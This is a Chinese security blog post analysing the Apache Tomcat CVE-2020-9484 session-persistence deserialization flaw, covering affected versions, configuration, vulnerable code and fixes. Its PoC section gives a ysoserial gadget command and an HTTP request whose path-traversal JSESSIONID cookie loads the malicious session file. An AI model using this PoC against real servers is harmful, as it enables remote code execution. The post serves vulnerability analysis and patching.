请选择 进入手机版 | 继续访问电脑版
 找回密码
 立即注册

QQ登录

只需一步,快速开始

首页 安全 网络安全 查看内容

CVE-2020-9484 tomcat session持久化漏洞分析与复现

指尖安全-小胖 2020-5-22 10:53

漏洞简介

Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。要利用该漏洞,攻击者需要同时满足以下4个条件:

  1. 攻击者可以控制服务器上的文件名/文件内容;
  2. 服务器上配置使用了PersistenceManager的FileStore;
  3. PersistenceManager配置了sessionAttributeValueClassNameFilter值为“NULL”或者其他宽松的过滤器,使得攻击者可以提供反序列化对象;
  4. 攻击者知道FileStore使用的存储位置到可控文件的相对路径。

攻击者在同时满足以上4个条件时,可以发送一个恶意构造的请求,来造成反序列化代码执行漏洞。

受影响产品版本

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104

不受影响产品版本

  • Apache Tomcat 10.x >= 10.0.0-M5
  • Apache Tomcat 9.x >= 9.0.35
  • Apache Tomcat 8.x >= 8.5.55
  • Apache Tomcat 7.x >= 7.0.104

漏洞复现&分析

环境配置

存储在本地文件中需要配置conf目录里的context.xml文件在节点下添加如下节点:

<Manager className="org.apache.catalina.session.PersistentManager" 
    debug="0"
    saveOnRestart="false"
    maxActiveSession="-1"
    minIdleSwap="-1"
    maxIdleSwap="-1"
    maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>

漏洞分析

查看FileStore的load方法,代码如下

    public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        Context context = (Context) getManager().getContainer();
        FileInputStream fis = null;
        ObjectInputStream ois = null;
        Loader loader = null;
        ClassLoader classLoader = null;
        ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
        try {
            fis = new FileInputStream(file.getAbsolutePath());
            loader = context.getLoader();
            ois = getObjectInputStream(fis);

            StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;
            } catch (FileNotFoundException e) {
        if (contextLog.isDebugEnabled()) {
            contextLog.debug("No persisted data file found");
        }
        return null;
    } finally {
        context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
    }
}

private File file(String id) throws IOException {
    if (this.directory == null) {
        return null;
    }
    String filename = id + FILE_EXT;
    File file = new File(directory(), filename);
    return file;
}

load方法中,根据打开名为id的文件,将文件中的内容作为反序列化的输入。并且tomcat未过滤诸如../等危险目录。如果配合任意文件上传,传入一个gadget,并调用JSESSION让tomcat加载该上传文件,即可完成反序列化攻击。

Poc

1.生成反序列化文件

使用github上的ysoserial工具https://github.com/frohoff/ysoserial,生成commons-collections4依赖的gadget恶意序列化数据:

java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/test.session

2. 通过JSESSION加载恶意的session持久化文件

GET /demo/url HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=../../../tmp/test

修复方案

  1. 升级tomcat至最新版本
  2. 关闭session持久化
  3. 检查项目中是否存在文件名和后缀均可控的上传点

转:宽字节安全
原文地址:https://mp.weixin.qq.com/s/mHwBEHhm6_IoxHfWb9UY-A

分享到
文章点评